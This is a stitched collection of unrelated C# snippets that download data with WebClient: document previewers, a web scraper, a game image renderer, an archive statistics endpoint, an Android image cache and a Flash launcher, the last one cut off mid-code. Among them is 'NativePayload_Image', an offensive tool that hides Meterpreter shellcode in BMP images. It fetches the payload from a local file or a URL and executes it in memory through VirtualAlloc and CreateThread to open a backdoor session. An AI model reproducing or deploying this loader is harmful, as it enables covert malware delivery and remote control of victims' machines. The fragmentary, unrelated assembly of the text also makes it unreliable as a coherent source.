(ASPxRichEdit)pageControlDetails.FindControl("richDetailsPreview"); richEditPreview.Visible = true; //richEditPreview.Open(Path.GetTempPath() + "\\" + fileURL); richEditPreview.Open(Guid.NewGuid().ToString(), DevExpress.XtraRichEdit.DocumentFormat.Doc, () => { byte[] fileData = null; using (var wc = new System.Net.WebClient()) fileData = wc.DownloadData(fileURL); return(new MemoryStream(fileData)); }); } else if (FileExtn == ".docx") { ASPxRichEdit richEditPreview = (ASPxRichEdit)pageControlDetails.FindControl("richDetailsPreview"); richEditPreview.Visible = true; //richEditPreview.Open(Path.GetTempPath() + "\\" + fileURL); richEditPreview.Open(Guid.NewGuid().ToString(), DevExpress.XtraRichEdit.DocumentFormat.OpenXml, () => { byte[] fileData = null; using (var wc = new System.Net.WebClient()) fileData = wc.DownloadData(fileURL); return(new MemoryStream(fileData)); }); } else if (FileExtn == ".xls") { DevExpress.Web.ASPxSpreadsheet.ASPxSpreadsheet spreadSheetPreview = (ASPxSpreadsheet)pageControlDetails.FindControl("spreadSheetPreview"); spreadSheetPreview.Visible = true; MemoryStream stream = new MemoryStream(); spreadSheetPreview.Open(Guid.NewGuid().ToString(), DevExpress.Spreadsheet.DocumentFormat.Xls, () => { byte[] fileData = null; using (var wc = new System.Net.WebClient()) fileData = wc.DownloadData(fileURL); return(new MemoryStream(fileData)); }); //spreadSheetPreview. } else if (FileExtn == ".xlsx") { DevExpress.Web.ASPxSpreadsheet.ASPxSpreadsheet spreadSheetPreview = (ASPxSpreadsheet)pageControlDetails.FindControl("spreadSheetPreview"); spreadSheetPreview.Visible = true; MemoryStream stream = new MemoryStream(); spreadSheetPreview.Open(Guid.NewGuid().ToString(), DevExpress.Spreadsheet.DocumentFormat.Xlsx, () => { byte[] fileData = null; using (var wc = new System.Net.WebClient()) fileData = wc.DownloadData(fileURL); return(new MemoryStream(fileData)); }); //spreadSheetPreview. } else if (FileExtn == ".pdf") { HtmlGenericControl pdfPreview = (HtmlGenericControl)pageControlDetails.FindControl("pdfPreview"); pdfPreview.Visible = true; using (var client = new System.Net.WebClient()) { client.DownloadFile(fileURL, Server.MapPath("~/TempFiles") + "/" + fileName); } //pdfPreview.InnerHtml = "<embed src = \""+ Path.GetTempPath() + "\\" + fileURL+"\" />"; pdfPreview.InnerHtml = "<iframe src=\"" + "../TempFiles" + "/" + fileName + "\" style = \"width:100%; height:500px;\" frameborder = \"0\" ></iframe> "; //pdfPreview.InnerHtml = "<iframe src = \"" + fileURL + "\" style = \"width:600px; height:500px;\" frameborder = \"0\"></iframe>"; } else if (FileExtn == ".jpg" || FileExtn == ".jpeg") { HtmlGenericControl imgPreview = (HtmlGenericControl)pageControlDetails.FindControl("pdfPreview"); imgPreview.Visible = true; imgPreview.InnerHtml = "<img class=\"preview\" src = \"" + fileURL + "\">"; } else { HtmlGenericControl previewNotAvailableText = (HtmlGenericControl)pageControlDetails.FindControl("documentDownloadLink"); previewNotAvailableText.Visible = true; previewNotAvailableText.InnerHtml = "<h1>Preview Not Available</h1>"; } } }
static void Main(string[] args) { //Html Download byte[] thebuffer = null; //https://music.douban.com/chart System.Net.WebClient webClient = new System.Net.WebClient(); thebuffer = webClient.DownloadData("https://music.douban.com/chart"); string html = System.Text.Encoding.GetEncoding("utf-8").GetString(thebuffer); //utf-8 gb2312 gbk uft-16 //Analisys //通过正则表达式获取内容 Regex r = new Regex(""); MatchCollection matches = new Regex("<a href=\"javascript:;\">([\\s\\S]*?)</a>").Matches(html); int count = matches.Count; string[] input = new string[count]; for (int i = 0; i < count; i++) { input[i] = matches[i].Result("$1"); Console.WriteLine(input[i]); } //Export Console.ReadLine(); DataTable dt = new DataTable(); DataColumnCollection col = dt.Columns; col.Add("Tag of Song", typeof(string)); for (int i = 0; i < count; i++) { DataRow row = dt.NewRow(); row["Tag of Song"] = input[i]; dt.Rows.Add(row); } string filename = "output.xls"; FileStream myfile = new FileStream(filename, System.IO.FileMode.Create, System.IO.FileAccess.Write); StreamWriter sw = new StreamWriter(myfile, System.Text.Encoding.Default); //Starting to export data string data = ""; for (int i = 0; i < col.Count; i++) { data += dt.Columns[i].ToString(); if (i < col.Count - 1) { data += ","; } } sw.WriteLine(data); for (int t = 0; t < dt.Rows.Count; t++) { data = ""; for (int i = 0; i < col.Count; i++) { data += dt.Rows[t][i].ToString(); if (i < col.Count - 1) { data += ","; } } sw.WriteLine(data); } sw.Close(); myfile.Close(); }
private void DrawBoxRegion(List <Item> _items, int length, int info) { Graphics g; MemoryStream stream; Image img; SolidBrush drawBrush = new SolidBrush(Color.Red); Font drawFont = new Font("Arial", 60 / length, FontStyle.Bold, GraphicsUnit.Millimeter); System.Net.WebClient WC = new System.Net.WebClient(); g = info == 1 ? Graphics.FromImage(RegionImage) : Graphics.FromImage(RegionImage2); g.Clear(Color.Black); string PanelGridName = length == 12 ? "StashPanelGrid.png" : "QuadStashPanelGrid.png"; if (File.Exists(Path.Combine(Application.StartupPath, "Image", PanelGridName))) { img = Image.FromFile(Path.Combine(Application.StartupPath, "Image", PanelGridName)); } else { stream = new MemoryStream(WC.DownloadData("https://web.poecdn.com/image/inventory/" + PanelGridName)); img = Image.FromStream(stream); stream.Close(); } g.DrawImage(img, 0, 0, 480, 480); if (info == 1) { foreach (Item item in _items) { if (item.url != "question-mark.png") { string path = Path.Combine(Application.StartupPath, "Image", Path.ChangeExtension(item.type == "Prophecy" ? "Prophecy" : item.Name_eng, ".png")); if (File.Exists(path)) { img = Image.FromFile(path); } else { stream = new MemoryStream(WC.DownloadData(item.url)); img = Image.FromStream(stream); stream.Close(); } } else { img = Properties.Resources.question_mark; } g.DrawImage(img, item.point.X * 480 / length, item.point.Y * 480 / length, item.w * 480 / length, item.h * 480 / length); g.DrawString(item.id.ToString(), drawFont, drawBrush, item.point.X * 480 / length, item.point.Y * 480 / length); pictureBox1.Image = RegionImage; } pictureBox1.Image = RegionImage; } else { foreach (Item item in _items) { if (item.url != "question-mark.png") { string path = Path.Combine(Application.StartupPath, "Image", Path.ChangeExtension(item.type == "Prophecy" ? "Prophecy" : item.Name_eng, ".png")); if (File.Exists(path)) { img = Image.FromFile(path); } else { stream = new MemoryStream(WC.DownloadData(item.url)); img = Image.FromStream(stream); stream.Close(); } } else { img = Properties.Resources.question_mark; } g.DrawImage(img, item.point.X * 480 / length, item.point.Y * 480 / length, item.w * 480 / length, item.h * 480 / length); g.DrawString(item.id.ToString(), drawFont, drawBrush, item.point.X * 480 / length, item.point.Y * 480 / length); pictureBox2.Image = RegionImage2; } pictureBox2.Image = RegionImage2; } }
static void Main(string[] args) { if (args.Length < 1) { Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Injecting Syntax :"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("Syntax Creating New Bitmap File by template:"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Syntax I: NativePayload_Image.exe create [NewFileName.bmp] [Meterpreter_payload] "); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine("Example I: NativePayload_Image.exe create test.bmp fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("Syntax Modify Bitmap File by New Payload:"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Syntax II: NativePayload_Image.exe modify [ExistFileName.bmp] [header_length] [Meterpreter_payload] "); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine("Example II: NativePayload_Image.exe modify test.bmp 54 fc,48,83,e4,f0,e8,cc,00,00,00,41,51,41,50"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Detecting and Getting Meterpreter Session (backdoor mode) Syntax :"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("Syntax Getting Meterpreter Session by local BMP File:"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine(); Console.WriteLine("Syntax I: NativePayload_Image.exe bitmap [ExistFileName.bmp] [Payload_length] [BMP_Header_Length] "); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine("Example I: NativePayload_Image.exe bitmap test.bmp 510 54"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("Syntax Getting Meterpreter Session with Url by http Traffic"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine(); Console.WriteLine("Syntax II: NativePayload_Image.exe url [target url] [Payload_length] [BMP_Header_Length] "); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine(@"Example II: NativePayload_Image.exe url http://192.168.1.2/images/test.bmp 510 54"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("Syntax Getting Meterpreter Session by local/Web Encrypted BMP File:"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Syntax III: NativePayload_Image.exe decrypt [target url or local filename] [Payload_length] [BMP_Header_Length] "); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine(@"Example III: NativePayload_Image.exe decrypt http://192.168.1.2/images/test.bmp 510 54"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Gray; } else { if (args[0].ToUpper() == "CREATE") { /// Example I: NativePayload_Image.exe create test.bmp fc4883e4f0e8cc00000041514150 Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files"); Console.WriteLine(); String S1 = args[1]; String S2 = args[2]; InjectPayload_to_BMP(S2, Default_Header_BMP, Ex_Payload_BMP_Length, true, S1); } if (args[0].ToUpper() == "MODIFY") { /// Example II: NativePayload_Image.exe modify test.bmp 54 fc4883e4f0e8cc00000041514150 /// InjectPayload_to_BMP(pay, 54, 510, false, "demo1.bmp"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files"); Console.WriteLine(); InjectPayload_to_BMP(args[3], Convert.ToInt32(args[2]), false, args[1]); } if (args[0].ToUpper() == "BITMAP") { try { ///"Example I: NativePayload_Image.exe bitmap test.bmp 510 54" Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[+] Detecting Meterpreter Payload bytes by Image Files"); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine("[+] File Scanning .. . . "); string filename = args[1]; byte[] xPayload = File.ReadAllBytes(filename); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("[+] Reading Payloads from \"{0}\" file ", filename); Console.WriteLine("[+] Scanning Payload with length {0} from byte {1}", args[2], args[3]); int offset = Convert.ToInt32(args[3]); int counter = 0; int Final_Payload_Length = Convert.ToInt32(args[2]); byte[] Final = new byte[Convert.ToInt32(args[2])]; for (int i = 0; i <= xPayload.Length; i++) { if (i >= offset) { if (counter == Final_Payload_Length) { break; } Final[counter] = xPayload[i]; counter++; } } UInt32 MEM_COMMIT = 0x1000; UInt32 PAGE_EXECUTE_READWRITE = 0x40; Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Bingo Meterpreter session by BMP images ;)"); UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)Final.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(Final, 0x00000000, (IntPtr)(funcAddr), Final.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 1; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId); WaitForSingleObject(hThread, 0xfffff1fc); Console.ForegroundColor = ConsoleColor.Gray; } catch (Exception) { throw; } } if (args[0].ToUpper() == "URL") { try { ///"Example I: NativePayload_Image.exe url http://192.168.1.2/test.bmp 510 54" Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[+] Detecting Meterpreter Payload bytes by Image Files"); Console.ForegroundColor = ConsoleColor.DarkCyan; Console.WriteLine("[+] File Scanning .. . . "); System.Net.WebClient web = new System.Net.WebClient(); byte[] xPayload = web.DownloadData(args[1].ToString()); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("[+] Reading Payloads from URL \"{0}\" ", args[1]); Console.WriteLine("[+] Scanning Payload with length {0} from byte {1}", args[2], args[3]); int offset = Convert.ToInt32(args[3]); int counter = 0; int Final_Payload_Length = Convert.ToInt32(args[2]); byte[] Final = new byte[Convert.ToInt32(args[2])]; for (int i = 0; i <= xPayload.Length; i++) { if (i >= offset) { if (counter == Final_Payload_Length) { break; } Final[counter] = xPayload[i]; counter++; } } UInt32 MEM_COMMIT = 0x1000; UInt32 PAGE_EXECUTE_READWRITE = 0x40; Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Bingo Meterpreter session by BMP images ;)"); UInt32 funcAddr = VirtualAlloc(0x00000000, (UInt32)Final.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(Final, 0x00000000, (IntPtr)(funcAddr), Final.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 1; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0x0000, 0x7700, funcAddr, pinfo, 0x303, ref threadId); WaitForSingleObject(hThread, 0xfffff1fc); Console.ForegroundColor = ConsoleColor.Gray; } catch (Exception) { throw; } } if (args[0].ToUpper() == "DECRYPT") { /// not ready ;) Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_Image Tool , Published by Damon Mohammadbagher , April 2017"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("Detecting/Injecting Meterpreter Payload bytes from BMP Image Files"); Console.WriteLine(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Encryption Method is not Ready for this version ;)"); Console.ForegroundColor = ConsoleColor.Gray; } } }
/// <summary> /// 从网络地址一取得文件并转化为base64编码 /// </summary> /// <param name="url">文件的url地址,一个绝对的url地址</param> /// <param name="objWebClient">System.Net.WebClient 对象</param> /// <returns></returns> public static string EncodingFileFromUrl(string url, System.Net.WebClient webClient) { return(Convert.ToBase64String(webClient.DownloadData(url))); }
/// <summary> Get just the search statistics information for a search or browse </summary> /// <param name="Response"></param> /// <param name="UrlSegments"></param> /// <param name="QueryString"></param> /// <param name="Protocol"></param> /// <param name="IsDebug"></param> public void AGGCOUNTS_Results_XML(HttpResponse Response, List <string> UrlSegments, NameValueCollection QueryString, Microservice_Endpoint_Protocol_Enum Protocol, bool IsDebug) { double started = DateTimeToUnixTimestamp(DateTime.Now); double ended; Results_Arguments args = new Results_Arguments(QueryString); String url, data, dataaggs, code, name, isActive, isHidden, id, type; XmlDocument doc, docaggs; XmlNodeList nodes; XmlNode solrnode; XmlAttributeCollection attrs; DataSet tempSet = null, darkSet = null, aliasesSet = null; DataTable aggregations, darkAggregations, aliases; int idx = 0; short mask = 0; long count = 0; int errorcount = 0; Response.Output.WriteLine("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\" ?>"); //Response.Output.WriteLine("<!-- connection string is " + SecurityElement.Escape(Engine_Database.Connection_String) + "]. -->"); url = "http://dis.lib.usf.edu:8080/documents/select/?q=%28*:*%29&rows=0&facet=true&facet.field=aggregation_code&facet.limit=-1"; System.Net.WebClient wc = new System.Net.WebClient(); byte[] raw = wc.DownloadData(url); dataaggs = System.Text.Encoding.UTF8.GetString(raw); //dataaggs = dataaggs.Replace("<response>", "<response xmlns=\"http://dummy.solr.org/dummy\">"); //Response.Output.WriteLine("<!-- got " + dataaggs.Length + " bytes from solr -->"); docaggs = new XmlDocument(); try { docaggs.LoadXml(dataaggs); //Response.Output.WriteLine("<!-- loaded xml into docaggs successfully. -->"); } catch (XmlException e) { docaggs = null; //Response.Output.WriteLine("<!-- xmlexception trying to load solr xml into docaggs-->"); } Dictionary <String, String> solraggs = new Dictionary <String, String>(); byte[] byteArray = Encoding.ASCII.GetBytes(dataaggs); //Response.Output.WriteLine("<!-- " + byteArray.Length + " elements in byteArray -->"); MemoryStream stream = new MemoryStream(byteArray); //Response.Output.WriteLine("<!-- " + stream.Length + " bytes in stream -->"); XElement root = XElement.Load(stream); if (root.HasElements) { //Response.Output.WriteLine("<!-- root has elements -->"); } else { //Response.Output.WriteLine("<!-- root has NO elements -->"); } IEnumerable <XElement> aggs = from agg in root.Descendants("int") select agg; //Response.Output.WriteLine("<!-- aggCount=" + aggs.Count() + " -->"); String myvalue; if (aggs.Count() > 0) { idx = 0; foreach (XElement agg in aggs) { idx++; try { myvalue = agg.Value; } catch (Exception e) { myvalue = "0"; } try { //Response.Output.WriteLine("<!-- agg " + idx + ". " + agg.Attribute("name").Value.ToLower() + "=" + myvalue + " -->"); solraggs.Add(agg.Attribute("name").Value.ToString().ToLower(), myvalue); } catch (Exception e) { //Response.Output.WriteLine("<!-- exception trying to display or add to solraggs [" + e.Message + "] -->"); } } //Response.Output.WriteLine("<!-- solraggs has " + solraggs.Count + " entries -->"); } /* * try * { * int idxelements = 0; * * foreach (XElement myelement in XElement.Load(stream).Elements("lst")) * { * idxelements++; * * Response.Output.WriteLine("<!-- myelement@name=" + myelement.Attribute("name").Value + " -->"); * * if (myelement.Attribute("name").Value == "facet_counts") * { * foreach (XElement mysubelement in myelement.Elements("int")) * { * Response.Output.WriteLine("<!-- mysubelement: " + mysubelement.Attribute("name").Value + " -->"); * * solraggs.Add(new KeyValuePair<String, String>(mysubelement.Attribute("name").Value.ToString(), mysubelement.Value.ToString())); * * } * } * } * * Response.Output.WriteLine("<!-- idxelements=" + idxelements + " -->"); * } * catch (Exception e) * { * Response.Output.WriteLine("<!-- exception trying to get solraggs [" + e.Message + "]:[" + e.StackTrace + "] -->"); * solraggs = null; * } * * if (solraggs==null) * { * Response.Output.WriteLine("<!-- solraggs was null -->"); * } * else * { * Response.Output.WriteLine("<!-- solraggs count=" + solraggs.Count + " -->"); * } * * if (solraggs!=null && solraggs.Count>0) * { * Response.Output.WriteLine("<!-- there are " + solraggs.Count + " in solraggs list -->"); * * foreach (KeyValuePair<String,String> agg in solraggs) * { * Response.Output.WriteLine("<!-- " + agg.Key + "=" + agg.Value + " -->"); * } * } * else * { * Response.Output.WriteLine("<!-- solraggs was null or had no count -->"); * } * */ try { EalDbParameter[] paramList = new EalDbParameter[2]; tempSet = EalDbAccess.ExecuteDataset(EalDbTypeEnum.MSSQL, Engine_Database.Connection_String, CommandType.StoredProcedure, "SobekCM_Get_Item_Aggregation_Status_Counts", paramList); //Response.Output.WriteLine("<!-- tempSet has " + tempSet.Tables.Count + " tables. -->"); //Response.Output.WriteLine("<!-- tempSet table 0 has " + tempSet.Tables[0].Rows.Count + " rows -->"); aggregations = tempSet.Tables[0]; } catch (Exception e) { aggregations = null; Response.Output.WriteLine("<!-- " + e.Message + " -->"); } // darkSet try { EalDbParameter[] paramList = new EalDbParameter[2]; darkSet = EalDbAccess.ExecuteDataset(EalDbTypeEnum.MSSQL, Engine_Database.Connection_String, CommandType.StoredProcedure, "SobekCM_Get_Item_Aggregation_Dark_Counts", paramList); //Response.Output.WriteLine("<!-- tempSet has " + tempSet.Tables.Count + " tables. -->"); //Response.Output.WriteLine("<!-- tempSet table 0 has " + tempSet.Tables[0].Rows.Count + " rows -->"); darkAggregations = darkSet.Tables[0]; } catch (Exception e) { darkAggregations = null; Response.Output.WriteLine("<!-- " + e.Message + " -->"); } //aliasSet try { EalDbParameter[] paramList = new EalDbParameter[2]; aliasesSet = EalDbAccess.ExecuteDataset(EalDbTypeEnum.MSSQL, Engine_Database.Connection_String, CommandType.StoredProcedure, "SobekCM_Get_Item_Aggregation_Aliases", paramList); aliases = aliasesSet.Tables[0]; } catch (Exception e) { aliases = null; Response.Output.WriteLine("<!-- exception trying to get aliasesSet [" + e.Message + "] -->"); } url = Engine_ApplicationCache_Gateway.Settings.Servers.Application_Server_URL + "/engine/aggregations/all/xml"; wc = new System.Net.WebClient(); raw = wc.DownloadData(url); data = System.Text.Encoding.UTF8.GetString(raw); doc = new XmlDocument(); doc.LoadXml(data); nodes = doc.SelectNodes("//Item_Aggregation_Related_Aggregations"); idx = 0; Response.Output.WriteLine("<results date=\"" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") + "\" count=\"" + nodes.Count + "\">"); foreach (XmlNode node in nodes) { idx++; attrs = node.Attributes; code = attrs["code"].Value.ToLower(); name = attrs["name"].Value; isActive = attrs["isActive"].Value; isHidden = attrs["isHidden"].Value; id = attrs["id"].Value; type = attrs["type"].Value; Response.Output.Write("<result rownum=\"" + idx + "\" code=\"" + code + "\" name=\"" + SecurityElement.Escape(name) + "\" id=\"" + id + "\" type=\"" + type + "\" isActive=\"" + isActive + "\" isHidden=\"" + isHidden + "\" "); IEnumerable <DataRow> query = from aggregation in aggregations.AsEnumerable() select aggregation; IEnumerable <DataRow> thisagg = query.Where(p => p.Field <string>("code").Equals(code)); foreach (DataRow p in thisagg) { //Response.Output.WriteLine("<counts code=\"" + p.Field<String>("code") + "\">"); try { try { mask = p.Field <short>("mask"); } catch (Exception e) { mask = 999; } try { //Response.Output.WriteLine(" mycount=\"" + p["count"].ToString() + "\" "); count = long.Parse(p["count"].ToString()); } catch (Exception e) { count = 32767; errorcount++; Response.Output.Write("error" + errorcount + "=\"" + e.Message + " [" + SecurityElement.Escape(e.StackTrace) + "]\" "); } if (mask == 0) { Response.Output.Write("count_public=\"" + count + "\" "); } else if (mask == -1) { Response.Output.Write("count_private=\"" + count + "\" "); } else { Response.Output.Write("count_mask" + Math.Abs(mask) + "=\"" + count + "\" "); } } catch (Exception e) { errorcount++; Response.Output.Write(" error" + errorcount + "=\"mask or count retrieval issue - " + e.Message + " [" + SecurityElement.Escape(e.StackTrace) + "]\" "); } } // dark query = from dark in darkAggregations.AsEnumerable() select dark; thisagg = query.Where(p => p.Field <string>("code").Equals(code)); foreach (DataRow p in thisagg) { Response.Output.Write("count_dark=\"" + p["count"] + "\" "); } try { // aliases query = from alias in aliases.AsEnumerable() select alias; IEnumerable <DataRow> thisaliases = query.Where(p => p.Field <string>("Code").Equals(code)); String cids = ""; foreach (DataRow p in thisaliases) { cids += p["AggregationAlias"].ToString().ToUpper() + ","; } if (cids.Length > 0) { cids = cids.Substring(0, cids.Length - 1); if (cids.Length > 3) { Response.Output.Write("aliases="); } else { Response.Output.Write("alias="); } Response.Output.Write("\"" + cids + "\" "); } else { Response.Output.Write("alias=\"NONE\" "); } } catch (Exception e) { errorcount++; Response.Output.Write("error" + errorcount + "=\"trying to get cids [" + e.Message + "]\" "); } try { // >xpath("//lst[@name='aggregation_code']/int"); /* * solrnode = docaggs.SelectSingleNode("//results/lst[@name='facet_counts']/lst[@name='facet_fields']/lst[@name='aggregation_code']/int[@name='" + code.ToUpper() + "']/text()"); * * if (solrnode != null) * { * Response.Output.WriteLine(" indexed=\"" + solrnode.Value + "\" "); * } * else * { * errorcount++; * Response.Output.WriteLine(" error" + errorcount + "=\"solrnode was null\" "); * } */ String indexedcount = solraggs[code]; Response.Output.Write("count_indexed=\"" + indexedcount + "\" "); } catch (Exception e) { errorcount++; Response.Output.Write("count_indexed=\"0\" "); } Response.Output.Write("/>\r\n"); } Response.Output.WriteLine("</results>"); ended = DateTimeToUnixTimestamp(DateTime.Now); Response.Output.WriteLine("<!-- generated in " + (ended - started) + " seconds. -->"); }
private static void SetUrlDrawable(Context context, ImageView imageView, string url, Drawable defaultDrawable, long cacheDurationMs, IUrlImageViewCallback callback) { Cleanup(context); if (imageView != null) { pendingViews.Remove(imageView); } if (string.IsNullOrEmpty(url)) { if (imageView != null) { imageView.SetImageDrawable(defaultDrawable); } return; } var cache = UrlImageCache.Instance; var drawable = cache.Get(url); if (drawable != null) { if (imageView != null) { imageView.SetImageDrawable(drawable); } if (callback != null) { callback.OnLoaded(imageView, drawable, url, true); } return; } var baseDir = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Personal); var filename = System.IO.Path.Combine(baseDir, GetFilenameForUrl(url)); var file = new System.IO.FileInfo(filename); if (file.Exists) { try { if (cacheDurationMs == CACHE_DURATION_INFINITE || DateTime.UtcNow < file.LastWriteTimeUtc.AddMilliseconds(cacheDurationMs)) { drawable = LoadDrawableFromFile(context, filename); //var fis = context.OpenFileInput(filename); //drawable = LoadDrawableFromStream(context, fis); //fis.Close(); if (imageView != null) { imageView.SetImageDrawable(drawable); } cache.Put(url, drawable); if (callback != null) { callback.OnLoaded(imageView, drawable, url, true); } return; } else { //TODO: File cache expired, refreshing Android.Util.Log.Debug(LOGTAG, "File Cache Expired: " + file.Name); } } catch (Exception ex) { Android.Util.Log.Debug(LOGTAG, "File Cache Exception " + ex.ToString()); } } if (imageView != null) { imageView.SetImageDrawable(defaultDrawable); } if (imageView != null) { pendingViews.Put(imageView, url); } //Check to see if another view is already waiting for this url so we don't download it again var currentDownload = pendingDownloads.Get(url); if (currentDownload != null) { if (imageView != null) { currentDownload.Add(imageView); } return; } var downloads = new List <ImageView>(); if (imageView != null) { downloads.Add(imageView); } pendingDownloads.Put(url, downloads); var downloaderTask = new AnonymousAsyncTask <string, string, BitmapDrawable>((p) => { try { var client = new System.Net.WebClient(); var data = client.DownloadData(url); System.IO.File.WriteAllBytes(filename, data); return(LoadDrawableFromFile(context, filename)); } catch (Exception ex) { Android.Util.Log.Debug(LOGTAG, "Download Error: " + ex.ToString()); return(null); } }, (bd) => { try { var usableResult = bd; if (usableResult == null) { usableResult = (BitmapDrawable)defaultDrawable; } pendingDownloads.Remove(url); cache.Put(url, usableResult); foreach (var iv in downloads) { var pendingUrl = pendingViews.Get(iv); if (!url.Equals(pendingUrl)) { continue; } pendingViews.Remove(iv); if (usableResult != null) { var fnewImage = usableResult; var fimageView = iv; fimageView.SetImageDrawable(fnewImage); if (callback != null) { callback.OnLoaded(fimageView, bd, url, false); } } } } catch (Exception ex) { Android.Util.Log.Debug(LOGTAG, "PostExecute Error: " + ex.ToString()); } }); downloaderTask.Execute(new Java.Lang.Object[] { }); }
private void Form1_Load(object sender, EventArgs e) { try { // epic hack const string DirectoryName = "AntiDLLZone"; const string FileName = "flash.exe"; const string DownloadUrl = "https://www.adobe.com/support/flashplayer/debug_downloads.html"; const string ShouldBeginWith = "https://fpdownload.macromedia.com/pub/flashplayer/updaters/"; const int EndingLength = 24;// 69/flashplayer_69_sa.exe const string ShouldContain = "_sa.exe\"> <img src=\"/images/icons/download.gif\" width=\"16\" height=\"16\" alt=\"Download\" />Download the Flash Player projector</a> </li>"; const string VersionFileName = "version.txt"; Directory.CreateDirectory(DirectoryName);//we have to put the flash projector exe in its own directory because it just breaks when there's a .dll file in the same folder as .exe if (!File.Exists(DirectoryName + "/" + VersionFileName)) { if (MessageBox.Show("Flash projector .exe will be now automatically downloaded.", "lol", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Information) != DialogResult.Yes) { Environment.Exit(0); } else { File.WriteAllText(DirectoryName + "/" + VersionFileName, "firstrun"); } } System.Net.WebClient client = new System.Net.WebClient() { Proxy = null, };// works until version 100 string str = client.DownloadString(DownloadUrl); string[] strv2 = str.Replace("\r", "").Split('\n'); string line = strv2.Where(x => x.Contains(ShouldContain)).First(); int index = line.IndexOf(ShouldBeginWith); string url = line.Substring(index, ShouldBeginWith.Length + EndingLength); string version = line.Substring(index + ShouldBeginWith.Length, 2); string lastVersion = File.ReadAllText(DirectoryName + "/" + VersionFileName).Trim(); if (version != lastVersion) { var result = MessageBox.Show("New version of flash projector is available!" + Environment.NewLine + String.Format("Old version: {0} | New version: {1}", lastVersion, version) + Environment.NewLine + String.Format("Download URL: {0}", url) + Environment.NewLine + "Do you want to download it?", "Flash update available", lastVersion == "firstrun" ? MessageBoxButtons.OKCancel : MessageBoxButtons.YesNoCancel, MessageBoxIcon.Question); if (result == DialogResult.Yes || result == DialogResult.OK) { File.WriteAllBytes(DirectoryName + "/" + FileName, client.DownloadData(url)); File.WriteAllText(DirectoryName + "/" + VersionFileName, version); } else if (result == DialogResult.Cancel) { Environment.Exit(0); } } var p = new Process() { EnableRaisingEvents = true, StartInfo = new ProcessStartInfo() { FileName = DirectoryName + "\\" + FileName, Arguments = "http://r.playerio.com/r/oldeeremake-xmiwpfxd106ptwe5p7xoq/oldee.swf", } }; p.Exited += delegate { Environment.Exit(0); }; p.Start(); cli = PlayerIO.Authenticate("oldeeremake-xmiwpfxd106ptwe5p7xoq", "public", new Dictionary <string, string>() { { "userId", "despacito" } }, null); while (p.MainWindowHandle == IntPtr.Zero) { 